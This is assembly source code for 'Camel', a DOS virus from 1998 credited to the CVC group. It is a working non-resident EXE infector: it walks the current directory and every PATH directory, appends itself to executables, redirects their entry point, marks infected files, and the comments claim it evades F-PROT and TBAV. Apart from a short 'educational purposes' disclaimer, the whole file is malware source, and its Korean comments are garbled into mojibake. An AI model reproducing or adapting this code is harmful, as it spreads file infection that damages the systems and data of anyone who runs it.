;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> ; ; \\\\\\\ \ \ \ ; Camel \ \ \ \ ; \ \ \ \ 98/03 ; \ \ \ \ ; \\\\\\\ \ \\\\\\\ #03 ; Virus Name : Camel ; AV Name : - ; Author : ? ; Group : CVC ; Origin : Corea ; ; Type : Non Memory resident EXE ; ; !****************************************************************************! ; * * ; * w ! * ; * e aa a šaa. aBⷥ ae awAᴡea. * ; * Abae aša Ae e AA Ёᕡ i g * ; * ea. ew aa Зa ia ! * ; * * ; * Warning ! * ; * This is a VIRUS source code. This source code is provieded educational * ; * purpose. The author is not responsible for any damage caused by this c * ; * ode. Don't modify or execute it ! * ; * * ; !****************************************************************************! ; ; - Bɡ i aЖa. ; ae Bɡe A᷶e PATHA aea. e, aaa З ; Ae e BɡA e *.EXEai qqǥ ҁA A e w ; Ё aeae(?) qqǥa. A a aa. ; ; * ; ; * [a] : e, wa " PATH=C:\UTILITY "w{ aae A a ; e a Bɡe qqǡ ea. " ; PATH=C:\UTILITY;" {A ';' ae qqǥa. ; ; * ; ; * WINDOWS EXE ae qqǡ gea. ; ; - qqi ϡa Ё Header 12h(Checksum)A 'nj'ae aii ; i Aaea. ; ; - ,e,iai ea. A wŴ qq. ; ; - INT 24hi a gv A aw ȓ e iϡAe. ; ...a~ ; ; - aA sa...iAe gw~. ᷡw w. ; aa ᦅaA eie F-PROT A 񬂷 eEa. ; (TBAVAe Ew~) ; ; - q a ei sa. iqaAa....bӡ qqǡe aai... ; ; ѡwa.... ; ; Heuristic Test : AVP,DrWeb,DSAV,TBAV A e ; ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> _size EQU V_end - V_start Camel SEGMENT ASSUME CS:Camel, DS:Camel ORG 100h V_start: PUSH DS ES MOV SI,2Ch ; ʼnwea wA e i MOV AX, word ptr DS:[SI] ; ea. PSP 2ChA a a... PUSH CS CS POP DS ES DB 0E8h, 4, 0 ; IaUi e Delta: ; DB 4 DUP (90h) ;-> i e F-PROTA POP BP ; 񬂖Ea. (aaa??) NOP ; SUB BP, offset Delta ; PUSH AX ; MOV AH,19h ; e aaai ea. INT 21h ; MOV byte ptr oDrive[BP],AL ; MOV AH,47h ; e Bɡi ea. XOR DL,DL ; LEA SI, oDIR[BP+1] ; INT 21h ; MOV byte ptr oDIR[BP],'\' ; ; wi wae . POP ES ; qA eea. XOR SI,SI ; MOV CX,512 ; get_path: CMP word ptr ES:[SI], 'AP' ; JZ ok_001 ; not_: INC SI ; LOOP get_path ; MOV found_path[BP],0 ; JMP end_path ; ok_001: CMP word ptr ES:[SI+2], 'HT' ; JZ ok_002 ; JMP not_ ; ok_002: CMP byte ptr ES:[SI+4], '=' ; JZ ok_003 ; JMP not_ ; ok_003: ; ADD SI,+5 ; XOR DI,DI ; CMP byte ptr ES:[SI],0 JNZ save_PATH MOV found_PATH[BP],0 JMP end_path save_PATH: MOV found_PATH[BP],1 Loop_path: MOV AL, byte ptr ES:[SI] ; INC SI ; CMP AL,0 ; JZ end_path ; MOV thePATH[BP+DI],AL ; INC DI ; JMP Loop_path ; end_path: PUSH DS ; POP ES ; LEA SI, oIP[BP] ; ei a ea. LEA DI, _IP[BP] ; {A 0EAh qA awwi Ŭ. MOV CX,4 ; rep MOVSW ; MOV AH,1Ah ; DTAi ew. LEA DX, DTA[BP] ; INT 21h ; ;------------------------------------------------------------------------; CALL INFECT ; e Bɡi qq CMP found_path[BP],1 ; E wi xve ai JNZ Chg_path_2 ; a. Chg_path_1: XOR SI,SI ; LEA DI,path_START[BP] ; MOV byte ptr path_CNT[BP],1 ; bb ie ';'a Aa MOV AX,SI ; a i 0a áea. STOSB ; (aaǡa wa áa..) ; divide_path: INC SI ; i ';'aq Ui aa CMP byte ptr thePATH[BP+SI],';' ; wea. (a Bɡ JNZ path_001 ; b a Aa..) MOV byte ptr thePATH[BP+SI],0; MOV AX,SI ; qe A ge w. INC AX ; STOSB ; INC byte ptr path_CNT[BP] ; JMP divide_path ; ; path_001: CMP byte ptr thePATH[BP+SI],0; JNZ path_002 ; JMP complete ; path_002: JMP divide_path ; complete: MOV CL, byte ptr path_CNT[BP] XOR CH,CH LEA SI, path_START[BP] Chg_again: LODSB XOR AH,AH MOV DI,AX LEA DX, thePATH[BP+DI] CALL Chg_dir ; Bɡi ewea. JNC sub_inf JMP the_next sub_inf: CALL INFECT ; qqǥa. the_next: LOOP Chg_again MOV DL, byte ptr oDrive[BP] ; aaa/Bɡ... XOR DH,DH ; CALL Chg_Drv ; ; LEA DX, oDir[BP] ; CALL Chg_dir ; Chg_path_2: ; e Bɡ ROOTa ; ǡe qqǡe i ; eia ЖeA...... ;========= pass control to the host ; aa Ai ѡaaAA... POP ES DS ; MOV AH,1Ah ; MOV DX,80h ; INT 21h ; PUSH DS ; POP ES ; MOV AX,ES ; ADD AX,10h ; ADD word ptr cs:_CS[BP],AX ; ADD word ptr cs:_SS[BP],AX MOV SS,AX MOV SP, word ptr cs:_SP[BP] ; awww, (FAR) DB 0EAh _IP DW ? _CS DW ? _SS DW ? _SP DW ? oIP DW ? oCS DW 0FFF0h oSS DW 0FFF0h oSP DW ? Target_01 DB '*.E?E',0 Chg_drv PROC PUSH AX DX MOV AH,0Eh INT 21h POP DX AX RET Chg_drv ENDP ;*--------- Chg_dir PROC PUSH AX DX MOV AH,3Bh INT 21h POP DX AX RET Chg_dir ENDP ;************************************************************************ INFECT PROC ; aw qA eae ... ;* PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH SP PUSH BP PUSH DS PUSH ES PUSH SS Search_file: MOV AH,4Eh ; a x. MOV CX,27h ; LEA DX, Target_01[BP] ; INT 21h ; JNC pass_001 ; ;* JMP end_inf ; ;* ;* pass_001: LEA SI, DTA[BP+15h] ; /e/iai w. LEA DI, Attr[BP] ; MOVSB ; MOVSW ; MOVSW ; MOV AX,4301h ; ЁA. XOR CX,CX ; LEA DX, DTA[BP+1Eh] ; INT 21h ; ;* MOV AX,3D02h ; e LEA DX, DTA[BP+1Eh] ; INT 21h ; XCHG AX,BX ; MOV AH,3Fh ; Ёi ea. MOV CX,1Ah ; LEA DX, Header[BP] ; INT 21h ; ;* CMP word ptr Header[BP],'ZM' ; a EXEai aae . JZ pass_002 ; (EXEae MZ bea. ZM CMP word ptr Header[BP],'MZ' ; a aeA..֔a) JZ pass_002 ; JMP next ; pass_002: CMP word ptr Header[BP+12h],'nj' ; qqE ai a.... JNE pass_003 ; JMP next ; pass_003: CMP byte ptr Header[BP+18h],'@' ; Ё᷁ 18hA (@)a e JNE no_win ; 啡 aw. JMP next ; ; Ё᷁ (SS/SP/IP/CS)i w. no_win: LEA SI, Header[BP+0Eh] ; LEA DI, oSS[BP] ; MOVSW ; MOVSW ; LEA SI, Header[BP+14h] ; LEA DI, oIP[BP] ; MOVSW ; MOVSW ; MOV AX,4202h ; ͡i {a XOR CX,CX ; MOV DX,CX ; INT 21h ; PUSH DX AX BX ; a a Ѕii w pass_004: ; CS,IPti eea. MOV BX, word ptr Header[BP+08h] ;-> Ё᷁ ai ea(́aa) MOV CL,4 ;-> e Ё᷁ ai aa SHL BX,CL ; aa. (́aae 16byte) SUB AX,BX ;-> a aA Ё᷁ ai SBB DX,0 ; a. MOV CX,16 ;* A i a ́aa w DIV CX ; a aa. aaw e 16a ; ae Ea. MOV word ptr Header[BP+0Eh], AX ; SS MOV word ptr Header[BP+10h], 0FFFEh ; SP MOV word ptr Header[BP+14h], DX ; IP MOV word ptr Header[BP+16h], AX ; CS MOV word ptr Header[BP+12h], 'nj' ; ChecksumA nji ea.(qqi ; ϡa Ё..) pass_005: POP BX AX DX ; a a Ѕii a . pass_006: ; < A aỡ aa(?) e >- EXEa Ё᷁ 02h 04h a ai i a. ADD AX, _size ;1. a aA aa ai ADC DX,0 ; ea. MOV CX,512 ;2. a ti 512 aa.(Ae a DIV CX ; aw 512aa) OR DX,DX ;3. aỡa 0 aae Ai e JE no_inc ; Ё ew. a 1i wa. INC AX ; no_inc: MOV word ptr Header[BP+04h],AX ;4. Ae Ё᷁ 04hA MOV word ptr Header[BP+02h],DX ;5. ab A aỡ aa tee. ; 02hA ea. pass_007: MOV AH,40h ; aai ea. MOV CX, _size ; LEA DX, V_start[BP] ; INT 21h ; MOV AX,4200h ; a ͡i qa XOR CX,CX ; MOV DX,CX ; INT 21h ; MOV AH,40h ; aȁ..Ё e Ёi ea. MOV CX,1Ah ; LEA DX, Header[BP] ; INT 21h ; MOV CX, Time[BP] ; e/ia MOV DX, Date[BP] ; MOV AX,5701h ; INT 21h ; ;* next: MOV AH,3Eh ; h INT 21h ; ;* MOV AX,4301h ; XOR CH,CH ; MOV CL, Attr[BP] ; LEA DX, DTA[BP+1Eh] ; INT 21h ; ;* MOV AH,4Fh ; aqai xea. ;* INT 21h ; ;* JC end_inf ; ;* JMP pass_001 end_inf: POP SS POP ES POP DS POP BP POP SP POP DI POP SI POP DX POP CX POP BX POP AX ret ;* INFECT ENDP ;* ;****************************************************************************** V_end: oDrive DB ? oDir DB ? DB 63 DUP (?) Attr DB ? Time DW ? Date DW ? found_path DB 0 thePATH DB 384 DUP (?) path_CNT DB ? path_START DB 20 DUP (?) Header DB 1Ah DUP (?) DTA: Camel ENDS END V_start